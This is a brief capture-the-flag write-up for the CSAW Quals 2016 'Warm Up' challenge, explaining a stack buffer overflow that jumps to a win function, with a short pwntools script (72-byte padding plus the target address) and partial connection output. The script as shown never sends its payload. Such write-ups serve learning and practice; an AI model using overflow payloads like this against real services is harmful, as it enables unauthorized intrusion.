Posted on by and filed under CSAW Quals 2016.

This was a very easy challenge. Basically, there was a win function at the address that is bring printed : 0x40060D. This function can be called with a simple buffer overflow. Here is my

from pwn import *

win = 0x40060D

payload = "A"*72
payload += p64(win)
con = remote('',8000)

print con.recvline()
print con.recvline()
print con.recvline()
Which gave me the flag
[+] Opening connection to on port 8000: Done
-Warm Up-



[*] Closed connection to port 8000
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